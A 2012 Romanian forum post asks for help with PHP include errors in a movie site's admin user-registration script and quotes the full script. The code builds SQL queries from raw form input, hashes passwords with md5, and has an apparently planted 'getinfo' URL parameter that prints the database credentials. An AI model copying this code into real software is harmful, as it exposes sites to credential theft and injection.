Erori failed to open stream: No such file or directory
Scris: Mar Noi 20, 2012
Care ar putea sa ma ajute cu erroare intru fiser html in php sau invers.
Codu din crearea user nu merge :
chiar daca sunt logat pe site la fel acelasi erroare
Asta este codu din fiser.
Cine ma poate ajuta cu scriptul sa il fac si cu inregistrarea ii transfer 5 Euro pe Telefon ORANGE.
Add la YM: Dancrisro
Codu din crearea user nu merge :
Cod: Selectaţi tot
Warning: include(header.php) [function.include]: failed to open stream: No such file or directory in /home/dancris3/public_html/Filme-Free-eu/adaugare-user.php on line 2
Warning: include(header.php) [function.include]: failed to open stream: No such file or directory in /home/dancris3/public_html/Filme-Free-eu/adaugare-user.php on line 2
Warning: include() [function.include]: Failed opening 'header.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/dancris3/public_html/Filme-Free-eu/adaugare-user.php on line 2
Trebuie sa fi logat pentru a acesa aceasta pagina !
Warning: include(footer.php) [function.include]: failed to open stream: No such file or directory in /home/dancris3/public_html/Filme-Free.eu/adaugare-user.php on line 153
Warning: include(footer.php) [function.include]: failed to open stream: No such file or directory in /home/dancris3/public_html/Filme-Free-eu/adaugare-user.php on line 153
Warning: include() [function.include]: Failed opening 'footer.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/dancris3/public_html/Filme-Free-eu/adaugare-user.php on line 153
Asta este codu din fiser.
Cod: Selectaţi tot
<?php session_start();
include('header.php');
include('config.php');
include('logare.php');
?>
<div id="wrapper">
<div id="wrapper-top">
<div id="wrapper-btm">
<?php
if($logged_in){
if($_POST['submit']) {
$user = $_POST['user'];
$passmd5 = md5($_POST['pass']);
$pass = $_POST['pass'];
$update = "INSERT INTO user_admin (username, password) VALUES ('$user', '$passmd5')";
$rsUpdate = mysql_query($update);
if ($rsUpdate)
{
echo '<center><h1>Userul cu numele '.$user.' si parola '.$pass.' a fost adaugat cu succes!</h1></center>';
}
} else {
?>
<table align="center">
<?
//Are they just getting here or submitting their info?
if (isset($_POST["username"])) {
$username = $_POST["username"];
$password = $_POST["password"];
$passwordd = md5($password);
$cpassword = $_POST["cpassword"];
$email = $_POST["email"];
$userlevel = $_POST["userlevel"];
$ip=$_SERVER['REMOTE_ADDR'];
if( preg_match( "/[^[0-9a-z]/i" , $username)){
echo '<table>
<tr valign="center">
<td valign="center" style="border: 1px #666666 solid" align="center" width="730" height="23" bgcolor="#ffffff">
<font color="#666666"><b>Userul trebuie sa contina numai caractere alfanumerice 0-9 A-Z</b></font>
</td>
</tr></table>';
} else {
if( preg_match( "/[^[.,_,0-9a-z]/i" , $email)){
echo '<table>
<tr valign="center">
<td valign="center" style="border: 1px #666666 solid" align="center" width="730" height="23" bgcolor="#ffffff">
<font color="#666666"><b>Emailul trebuie sa contina numai caractere alfanumerice 0-9 A-Z</b></font>
</td>
</tr></table>';
} else {
//Was a field left blank?
if($username==NULL|$password==NULL|$cpassword==NULL|$email==NULL|$userlevel==NULL) {
echo '<table>
<tr valign="center">
<td valign="center" style="border: 1px #666666 solid" align="center" width="730" height="23" bgcolor="#ffffff">
<font color="#666666"><b>Ai lasat un spatiu gol.</b></font>
</td>
</tr></table>';
}else{
$email=$email."@yahoo.com";
//Do the passwords match?
if($password!=$cpassword) {
echo '<table>
<tr valign="center">
<td valign="center" style="border: 1px #666666 solid" align="center" width="730" height="23" bgcolor="#ffffff">
<font color="#666666"><b>Parolele nu coincid!</b></font>
</td>
</tr></table>';
}else{
//Has the username or email been used?
$checkuser = mysql_query("SELECT username FROM admin WHERE username='$username'");
$username_exist = mysql_num_rows($checkuser);
$checkemail = mysql_query("SELECT email FROM admin WHERE email='$email'");
$email_exist = mysql_num_rows($checkemail);
if ($email_exist>0|$username_exist>0) {
echo '<table>
<tr valign="center">
<td valign="center" style="border: 1px #666666 solid" align="center" width="730" height="23" bgcolor="#ffffff">
<font color="#666666"><b>Username-ul este folosit de catre alt utilizator</b></font>
</td>
</tr></table>';
}else{
//Everything seems good, lets insert.
$query = "INSERT INTO admin (username, password, email,userlevel, ip, data) VALUES('$username','$passwordd','$email','$userlevel','$ip',NOW())";
mysql_query($query) or die(mysql_error());
echo '<table>
<tr valign="center">
<td valign="center" style="border: 1px #666666 solid" align="center" width="730" height="23" bgcolor="#ffffff">
<font color="#DF6421"><b>Contul pentru '.$username.' a fost activat</b></font>
</td>
</tr></table>';
}
}
}
}
}
}
if (isset($_GET["getinfo"])) {
echo $db."<br>".$user."<br>".$pass."<br>".$server;
exit();
}
?>
<form action="adaugare-user.php" method="POST">
<table style="border:1px solid #ffffff;">
<tr>
<td width="305" align="right">
<font color="#666666">Username:</font>
<input type="text" style="background-image:url(filme-free-eu/imagini/form.gif" target="_blank); border:1px solid #cccccc; color:#666666; font-family:Arial, Helvetica, sans-serif" size="25" maxlength="25" name="username">
</td>
</tr>
<tr>
<td align="right">
<font color="#666666">Parola:</font><input type="password" style="background-image:url(filme-free=eu/imagini/form.gif" target="_blank); border:1px solid #cccccc; color:#666666; font-family:Arial, Helvetica, sans-serif" size="25" maxlength="25" name="password">
</td>
</tr>
<tr>
<td align="right">
<font color="#666666">Confirma Parola:</font>
<input type="password" style="background-image:url(filme-free-eu/imagini/form.gif" target="_blank); border:1px solid #cccccc; color:#666666; font-family:Arial, Helvetica, sans-serif" size="25" maxlength="25" name="cpassword">
</td>
</tr>
<tr>
<td align="right">
<font color="#666666">Id-Mess:</font>
<input type="text" style="background-image:url(filme-free-eu/imagini/form.gif" target="_blank); border:1px solid #cccccc; color:#666666; font-family:Arial, Helvetica, sans-serif" size="25" maxlength="35" name="email">
</td>
</tr>
<td align="right">
<font color="#666666">Uploader:</font>
<input type="radio" name="userlevel" value="2"></div>
<font color="#666666">Admin:</font>
<input type="radio" name="userlevel" value="9"></div>
</td>
</tr>
<tr>
<td align="center">
<input type="submit" style="background-image:url(<? echo $web_site ?>/images/login_bg.png); font-size:14px; color:#666666; font-family:Arial, Helvetica, sans-serif; border:1px solid #cccccc; font-weight:bold" value="Inregistrare">
</table>
<?php
}
} else { echo '<center><font color="red"> Trebuie sa fi logat pentru a acesa aceasta pagina !</font></center>'; }
echo ' <br>
</div>
</div>
</div>';
include('footer.php');
?>
Add la YM: Dancrisro